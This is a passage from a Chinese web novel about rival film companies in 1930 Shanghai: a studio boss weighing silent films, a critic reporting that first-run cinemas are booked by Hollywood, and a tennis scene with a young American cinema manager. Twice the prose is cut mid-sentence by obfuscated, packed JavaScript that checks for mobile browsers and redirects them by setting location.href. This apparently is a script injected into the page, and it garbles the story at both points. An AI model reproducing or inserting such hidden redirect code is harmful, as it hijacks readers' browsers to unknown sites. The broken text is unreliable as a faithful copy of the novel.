难道她杜茗珍,还要在这儿忍辱负重? 她抬起头,下巴微微扬起: “不用等。我现在就走。不要以为我杜茗珍除了华光,就没地方可去!” 她转身,推开门,孙祺瑶正在门外徘徊。 两人对上眼,杜茗珍心里突然有一股无法挽回的难过,她知道,她们两个再也回不去了。 很突然地,她流了眼泪。 但她不知道这眼泪是为自己而流,还是为两个人的友情而流。只是胡乱抹了把眼泪,扬长而去了。 39. 上映前夕(三) 众一电影公司办公室。 邵同靠在皮转椅里,手指一下一下敲着桌面,手掌下压着的是一份刚送来的股价简报。 门被敲了两下,邵文谦走进来,随手带上门。 “坐。影院那边来催了,问咱们下个季度的片单。” 邵同开口,声音比平时透着一股压不住的焦躁, “咱们手里还有三部默片,发行排期要不要变化,我想问问你的意见。” 邵文谦有些惊讶,因为邵同对他十分强势,从来不会听他的意见,这也是他出去自谋独立的原因。 “父亲,”他试探着,“因为什么想要变动排期呢?《楚月关山》的票房还是很可观的。” 邵同摇了摇头,“你看李记元发的影评没有?他把我们票房的成功,全部归功于周小姐的主意,说我们的影片本身乏善可陈。” 邵文谦沉默了两秒。 “何必理会他。”他说,语气淡淡的,“他们这些所谓的评论家,专长就是大放厥词。一部电影都没拍过的人,专职点评拍电影的人,真是可笑。” 邵同又摇了摇头,“这话有点道理,又不太有道理。照你这样说,你不下厨房,难道就不能点评饭店的饭好不好吃了么?” 邵文谦犹豫了一会儿,道,“父亲可是真心问我?” 邵同的眉头蹙了一下。 “问就是问了,还分真心假意?”他不悦道,声音硬了几分,“难道我的时间这么不值钱的么?” 邵文谦道:“那儿子就直言了,我认为,我们那三步默片,马上依次发行出去,然后转做有声片。我们的股价下跌,和我们的新立项还是默片脱不了干系。” 邵同再次摇了摇头。那摇头的动作不急不缓,像是在否定一个早已想过无数遍的念头。 “追热点,追热潮,终究是虚荣的浮华。” 他靠进转椅里,目光落向窗外灰蒙蒙的天。 “《楚月关山》质量不高,不是默片的错。是最近被有声片搅的,团队人心浮动,影片本身没有打磨好。这是浮躁带来的问题。” 他转回头,看向邵文谦,“我想,周小姐为咱们规划的路线,不会有错。” “因此,”邵同继续说,语气里带着一种笃定,像在宣布一个早已想好的决定,“那三部默片先不上映,重新制作。然后拿去国际上评奖。你觉得怎么样?” 邵文谦看着父亲。 那张脸上,有难得的温和,甚至有几分征询的意思。可那征询底下,是一种不容置喙的信任,对一个比他的年纪还年轻的女人的信任。 他对此实在有些不满: “父亲为何如此信任周小姐?她自己都赞扬有声电影,为何为我们规划默片的道路?父亲难道就不怀疑吗?” 邵同哼了一声,点燃一根雪茄, “你说她给陆世铮规划的蓝图吗?那是商业片的蓝图。商业片,拍有声,我也赞同。但是她为我们规划的艺术片路线,卓别林也是赞同默片的,只有默片才能代表艺术,这个没有人不认可吧?” 邵同往椅背上靠了靠,姿态放松了些。 “我现在一把年纪,对金钱……虽然有欲望,但没有年轻时那么需要了。名利名利,名还在利前。如果能留名青史,商业上差一些,我也是可以接受的。” 邵文谦心里想,既然已经决定了,还问我干嘛?嘴上道: “也是,那就全按父亲说的办。” 说完这句话,邵文谦突然想到一件事。 这些年,邵同和他商量过什么?公司的方向,人员的调配,资金的流向……哪一样不是邵同定了,他照办? 上阵亲兄弟,打仗父子兵,他们家不兴这个。他和父亲,只能是“谁打倒谁”的竞争关系。讲求的是一个“服”字。 如果他不能让父亲服气,父亲会把公司托付给谁?给那几个堂兄弟,或者是给那些跟在身边鞍前马后的老臣…… 反正不会是他。 可今天…… 今天父亲主动找他来,问他的意见。问他“你觉得怎么样”。 虽然还是已经决定的事,但这样算不算一个机会? 一个历练的机会?一个让他证明“我值得”的机会? 他转过身,“父亲,我有个想法。” 邵同看着他。 “三部片子全压着,风险太大了。不如先拿一部出来,重新制作后,在国内上映试试水。如果质量经得住那些影评家的嘴,再考虑送国外的事。” 邵同点了点头,“好,你觉得谁来负责这部的重制比较好?” 果然… 邵文谦心中狂跳,"我可以么?" "当然可以。" 邵同走到窗边,双手负在身后,站定了,望着窗外。 “最近读史书,又有些新感悟,一时的得失,不用太介怀。万物不恒定,任何时候都有变数。公司有公司的变数,时代也有时代的变数,只不过人在局中,不知变数在何处罢了。” 是呀,变数在何处呢? 父亲这段话,意有所指,这个变数,会是自己吗? 邵文谦的内心又起了一阵涟漪。 *** “怎样?排片定下来了吗?” 周弥看李记元眉头拧着,说明带来的不是好消息。 果然…… “不行,全都不行。” 李记元把公文包打开,抽出一张画满标记的名单,往桌上一摊, “咱们的片子是24格的,大部分影院根本没有这种放映条件。” 他指着名单上的几个名字,汇报道: “中央大戏院、新中央、上海大戏院,这几家放国片的影院都是每秒16格的放映条件。” 又指着另外几个名字: “大光明、光陆、卡尔登、奥迪安这几家倒是有新设备,能放24格。可我问过了,他们的排期,半年以前就排满了,全给米高梅、派拉蒙留着。” 他脸上写满了痛心疾首: “总之,现在都是好莱坞大片的江山。大光明这样的头轮影院,跟米高梅签的是长期承租合同。咱们这种国产片,别说排期,连门槛都摸不着。二轮三轮的影院就更别提了。手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215650|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇机倒是能调速,可人家一听是国产片,都不愿意占用资源,说观众都不爱看国产片,费那个劲,不如放两场好莱坞旧片。” 说到这,他一拍桌子,气哄哄地骂了起来: “简直掉进钱眼里了!自己民族的东西不支持,为了赚钱只会捧洋鬼子的臭脚!” 周弥听李记元如此说,本来也很犯愁,但看他一个劲怒发冲冠,感觉两个人一起抱怨也没用,还是得解决问题。 她清了清嗓子,打断李记元继续输出愤怒的节奏: “你刚才说的,大光明、光陆、卡尔登、奥迪安这几家影院,老板你认识么?” 李记元愣了愣,猜出她想笼络老板:"那走不通,这几家的老板都是外国人。” 他掰着手指头数: “大光明是美国人开的,光陆现在是美商远东游艺公司在管,卡尔登的老板是英籍华人卢根但也算洋派,奥迪安虽然是中美合资,但主要是美籍总经理的话语权。这些洋人,咱们怎么说得动?” 他顿了顿,又补了一句: “要笼络,我看二轮三轮的影院还可以试试。那些老板是中国人,咱们再去呼吁呼吁,总能唤起一个两个的爱国心吧!” 开什么玩笑,左右都是要拉下脸皮,难道只洒洒水?头轮多重要啊! 虽然周弥学的是电影史论,接触影片发行方面的知识不多,但她也浅浅阅读过一些相关知识。 在二十一世纪,一部电影可以在全国几千家影院同一天上映,数字拷贝一键分发,全国观众可以同一天看到同一部电影,早就没有头轮、二轮、三轮的概念了。 但在1930年的上海,电影拷贝都是实体的胶卷,制作和分发成本高昂,一部电影的发行拷贝数量有限,往往只有十几份到几十份。 这些有限的拷贝必须轮次使用:头轮影院放完一卷胶片,再送到二轮影院,二轮放完再送三轮。 也就是说,观众观影必定是有时间差的。 上海滩的电影院,又分三六九等。 头轮影院,就是大光明、光陆、卡尔登、奥迪安这几家,拥有着冷气、软沙发和美国进口的放映设备,可以说,全上海最好的东西都堆在那儿。 在头轮到三轮的过程中,影院设备逐级降档,票价层层递减,观众的期待也随之贬值。进不了头轮,就等于告诉全上海,这部电影卖不出去,是次品。 更致命的是,影评人和报馆记者只看头轮,片子进二轮,连个正经影评都捞不着,怎么打造口碑?总不能只指望李记元一个人夹带私货吧? 再说,票价也不一样。 头轮影院一张票,少说五毛到一块银元。二轮估计两毛。三轮更便宜,一毛五。如果放二轮,连本都收不回来。 所以…… “我们必须进头轮,绝不能让孩子输在起跑线上!”周弥斩钉截铁。 李记元急得直挠头: “可这些头轮影院跟好莱坞签的是长期合同,排期半年以前就定好了,违约是要赔钱的!人家凭什么为了咱们这种小作坊违约?咱们做梦也得有个限度吧?” 40. 上映前夕(四) 周弥嘻嘻一笑:“做梦还要有限度,那多没意思。再说,争取一下怎么了,动动嘴皮子的事,又不费钱,也不掉功德。” 李记元深吸一口气:“动动嘴皮子?说的多轻巧呀!咱们现在连个完整的成片都没有,靠什么动嘴皮子?靠画饼啊?这事我可办不来,这不是为难人嘛!” 周弥道:“又没让你去,你把他们的信息给我写一下,我来想办法。” 李记元愣住了,"什么办法?" “画饼啊,你不是刚说了。” 李记元:“……你真要空手套白狼啊?” “我又不是没干过,”周弥摆摆手:“让你写你就快写啦!老板的基本信息,资本背景,如果有什么特点——比如怕老婆、爱喝酒、喜欢吃小馄饨之类的,一定要写出来。” 李记元将信将疑地看了她一眼,翻开笔记本,埋头写了起来。写完,把有信息的两页撕下,递了过去。 周弥细细看去: 第一个:大光明电影院 老板:亚伯特·华纳(美国人) 年龄:约50岁 背景:华纳兄弟电影公司创始人之一,家族在好莱坞根基深厚。1928年与华人合资创办大光明,本人常驻纽约,上海事务由代理人管理。 特点:一年只来上海一两次,平时见不着人。手下全是洋人经理,公事公办,对国产片毫无兴趣。 第二个:光陆大戏院 老板:史密斯先生(美国人) 年龄:约45岁 背景:美商远东游艺公司派驻上海的总经理,负责光陆和派拉蒙的放映合作。 特点:典型的商人,只认合同和票房。与派拉蒙签了长期合约,排期卡得死,没有通融余地。 第三个:卡尔登大戏院 老板:卢根(英籍华人) 年龄:约52岁 背景:广东人,早年在英国经商,后入英籍。1923年投资建造卡尔登,是上海滩有名的“影院大王”。 特点:虽然是华人,但行事完全是洋派,只跟大公司打交道。手下经理是英国人,普通中国人根本递不上话。 第四个:奥迪安大戏院 老板:托马斯先生(美国人) 年龄:约48岁 背景:英美烟草公司美籍总经理,1925年与粤商合资创办奥迪安。同时拥有孔雀电影公司,掌握派拉蒙和哥伦比亚在华发行权。 特点:势力最大,垄断最狠。奥迪安自己就是发行商,自己的片子都放不完,更不可能给别人排期。 “……” 没有怕老婆的,也没有爱喝酒的。 都是外国人,或者洋派华人,这倒没有什么。 一个个都是年纪一大把,还没有怕老婆或者爱喝酒这些突破口,这就很难搞。 一般来说,这把年纪的人,思想和利益链条都相对固化。想找不固化的,或许也有,不过那就是开盲盒了。 真是令人苦恼。 “就没有年轻一点的吗?” 李记元“哦”了一声:“有倒是有一个,不过这个是有名的刺头,我怕你吃亏,就没往上面写。” 刺头?刺头好啊,刺头比较叛逆。 "快写。" 李记元在笔记本上补充: 光陆大戏院 实际经营者:威廉·洛克(美国人) 年龄:约28岁 背景:美商远东游艺公司老板史密斯的侄子,去年刚从美国派到上海。史密斯只管大方向,日常经营全交给这个年轻人。 特点:刺头,花花公子,风流浪荡,不正经… 呃,别人的特点都是行业相关,到了这位,好像与众不同起来… 无所谓,就他了。 *** 网球场。 午后的阳光斜斜地铺在红土场地上,把两个人的影子拉得很长。 陆世铮握着球拍站在底线,身体微微前倾,他发球时手腕压得很稳,球抛起来,滞空,落下,挥拍,行云流水。 阳光打在他侧脸上,勾勒出清晰的轮廓线上眉眼清隽,鼻梁挺直,嘴唇微抿。 跑动起来也是那副样子。步子不大,步频却密,每一步都踩在节奏上。追一个险球的时候,身体压得极低,几乎贴着地面,可起身的瞬间又恢复了那副从容的姿态。 这是一个连打球都矜贵端方的人。 对面的威廉完全是另一个路数。 他站在底线后面,球拍在手里转来转去,像玩什么杂耍。 金棕色的头发被阳光照得发亮,几缕散落在额前,他时不时甩一下头,把它们甩开。甩完了也不管,任由它们又落回去。 他的眼睛是蓝色的,笑起来的时候弯成两道月牙,露出一点狡黠的、孩子气的光,嘴角天生有点上翘,不说话的时候也像在笑,但并不是礼貌的笑,而是那种得意又嚣张的笑。 两个人隔着网,刚打完一个回合,都微微喘着。 陆世铮用袖口擦了擦额角的汗,动作很轻,很克制,那滴汗顺着他下颌的弧度滑下来,在阳光里亮了一瞬,消失在领口。 威廉则直接把T恤下摆撩起来擦脸,露出一截腰腹,人鱼线一路延伸进裤腰里,皮肤上挂着细密的汗珠。 他擦完,放下衣服,头发比刚才更乱了,几缕金棕色的碎发贴在额前,他甩了甩头,露出那张带着痞笑的脸。 “陆?再来一局?” 陆世铮正拿毛巾擦汗,闻言笑道,“怎么,输了不甘心?” 威廉把球拍往肩上一扛,晃着脑袋走过来,“你说对了。男人就要赢。” 陆世铮把毛巾搭回椅背上,摇了摇头,“不行,要回去工作了。” 威廉发出一声夸张的哀嚎,整个人往球网上一靠,铁网被他压得晃了晃。 “工作工作工作——陆,你来上海之后,跟我说的最多就是这两个字。” 他歪着头看陆世铮,阳光从他身后照过来,把那双蓝色的眼睛映得很浅。 “听说你们东方男人结婚之后就没这么自由了。你还没结婚呢,怎么也不玩个尽兴?” 他顿了顿,眼神里浮起一点促狭的意味, “陆,我实在难以想象,如果你结婚了会是什么样子。你是不是就没有时间陪我玩了?” 陆世铮沉默了两秒,像是在认真思考这个问题。然后他点了点头。 “有可能。” 威廉愣了一下,随即从球网上弹起来,手指点着陆世铮,语气夸张得像在宣布什么重大决定: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221595|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那我从现在开始宣布,我不允许你结婚,也不允许你谈恋爱。” 陆世铮眉毛轻轻一挑,笑道,“你自己都不停地谈恋爱,怎么还限制我谈恋爱?” 威廉耸耸肩,双手一摊,那姿态里带着一点理所当然的无赖, “因为我的恋爱都是轻松自由的关系。不需要为谁负责,也不需要谁为我负责。” 他把球拍杵在地上,撑着拍柄,一副要发表长篇大论的架势, “你知道的,我很喜欢东方女性的长相。但是东方女性一旦动心,就会把一辈子托付给你。我不知道什么原因,但是她们通常不够独立,无论是经济上,还是思想上,就像一株藤蔓,我不愿意被缠上。诚然,她们很会照顾人,但像我这样的家庭,也并不需要一个女性在衣食住行上照顾我。so……” 他摊开手,一副“你懂得”的表情。 “我从来不谈东方人。怎么样?我还算是个绅士吧?至少知道什么责任负得起,什么负不起。” 陆世铮摇了摇头:“这倒不好一概而论,女性是多种多样的,她们都有自己的个性。东方女性也是如此。” 威廉不以为然地挑了挑嘴角,那弧度里带着几分轻慢:“Maybe……” “威廉,如果你真的遇上一个不像藤蔓的女性,她和你从事同一行业,而且你爱上了她,你是否还会坚持男人就要赢的观点?” 威廉正在系鞋带,闻言抬起头,愣了一愣,随即笑得肩膀都抖起来。 “哟,陆,”他站起身,拿球拍点了点陆世铮,“看样子,你这是爱上某个‘不像藤蔓’的东方女性了?” 陆世铮没躲他那根球拍,反而挑了挑眉:“是又怎样?你回答我的问题。” “哈哈哈!” 威廉仰头笑出声,笑够了,他才拿球拍抵着下巴,饶有兴致地打量陆世铮,“没想到没想到,一向不近女色的陆也会fallinlove!” 他走到网前,把球拍往网带上一搁,翘起嘴角: “好,那我告诉你——是。男人就是要赢。没有女人会看得起不如自己的男人。” 他顿了顿,歪着头看陆世铮:“怎么?陆?你要江山让美人?” 陆世铮道:“倒是没有这个打算。” 威廉又哈哈笑了一阵,道:“哎呀,我的朋友,你是一个会为感情烦恼的人,我真羡慕你。说明你的内心还很纯净。” 话音刚落,球场边走来一个穿西装的职员,朝威廉恭敬地欠了欠身: “威廉先生,有客户来谈业务,已经在会客室等了。” 威廉掂着球,“路易斯,我正在打球耶,你不能接待吗?” 路易斯面露难色:“她的要求十分让人为难,我实在做不了主。”说罢,凑到威廉耳边,说了几句。 “退掉定好的排片?!这人真开的了口!”威廉本来正在喝水,差点喷了出来,眉头皱起,“哪里来的疯子?你赶走好了,我不见。” “我赶了。”路易斯的语气里透着一股无奈,“她就是不走。人家又没有闹事,我总不能把人家赶出去?她说,有条件可以谈,但是具体的她又不肯讲,只和您面谈。” 威廉做了个击球的动作:“无论什么条件,我都不会对这么crazy的提案有兴趣。”